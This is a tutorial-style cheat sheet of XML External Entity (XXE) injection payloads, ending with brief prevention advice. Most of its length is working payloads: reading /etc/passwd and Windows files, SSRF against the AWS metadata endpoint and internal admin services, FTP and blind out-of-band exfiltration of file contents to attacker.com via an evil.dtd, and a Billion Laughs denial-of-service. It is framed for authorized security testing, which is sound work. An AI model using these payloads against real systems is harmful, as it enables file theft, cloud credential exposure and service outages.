XML External Entity (XXE) injection exploits applications that parse XML input without disabling external entity resolution. If the XML parser is misconfigured (which many are by default), an attacker can define custom entities that read local files, make network requests, or cause denial of service.

These payloads are for authorized security testing only.

What is XXE?

When an XML parser processes a document, it can resolve entities defined in the DOCTYPE declaration. External entities use the SYSTEM keyword to reference files or URLs. If the parser resolves these without restriction, the attacker controls what the server reads and where it sends data.

Basic Entity Injection

The simplest XXE defines an inline entity and references it in the document body:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe "Hello from an entity">
]>
<root>&xxe;</root>

If the application reflects the parsed XML back, you’ll see “Hello from an entity” in the response. This confirms the parser resolves custom entities.

Local File Disclosure

The most common XXE goal — reading files from the server:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

On Windows, target file:///C:/Windows/win.ini or file:///C:/Users/ for enumeration. The file contents appear wherever &xxe; is reflected in the response.

SSRF via XXE

XXE can make the server issue HTTP requests to internal services:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>&xxe;</root>

This targets the AWS metadata endpoint — a classic SSRF pivot. You can also reach internal services that aren’t exposed to the internet:

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://internal-api.local:8080/admin">
]>

FTP-Based Exfiltration

Some parsers support the ftp:// scheme, which can be used to exfiltrate data:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "ftp://attacker.com:21/file">
]>
<root>&xxe;</root>

The server connects to your FTP server, and you can observe the connection in your FTP logs.

Out-of-Band (Blind) XXE

When the application doesn’t reflect entity values in the response, use parameter entities to exfiltrate data out-of-band:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/hostname">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<root>&send;</root>

The external DTD (evil.dtd) on your server:

<!ENTITY % combined "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>">
%combined;

The server reads /etc/hostname, then sends its contents as a query parameter to your server. Check your HTTP access logs for the exfiltrated data.

Billion Laughs (Entity Expansion DoS)

This payload causes exponential memory consumption by nesting entity references:

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<root>&lol4;</root>

Each level expands 10x, so lol4 expands to 10,000 copies of “lol”. Add more levels and the memory required grows exponentially. This is a denial-of-service attack — use it carefully in testing.

Prevention

  • Disable external entity resolution in your XML parser. In Python’s lxml, use resolve_entities=False. In Java, set XMLConstants.FEATURE_SECURE_PROCESSING.
  • Disable DTD processing entirely when you don’t need it.
  • Use JSON instead of XML where possible — it has no entity mechanism to exploit.
  • Validate and sanitize XML input at the application level.
  • Keep parsers updated — newer versions often have safer defaults.

See also: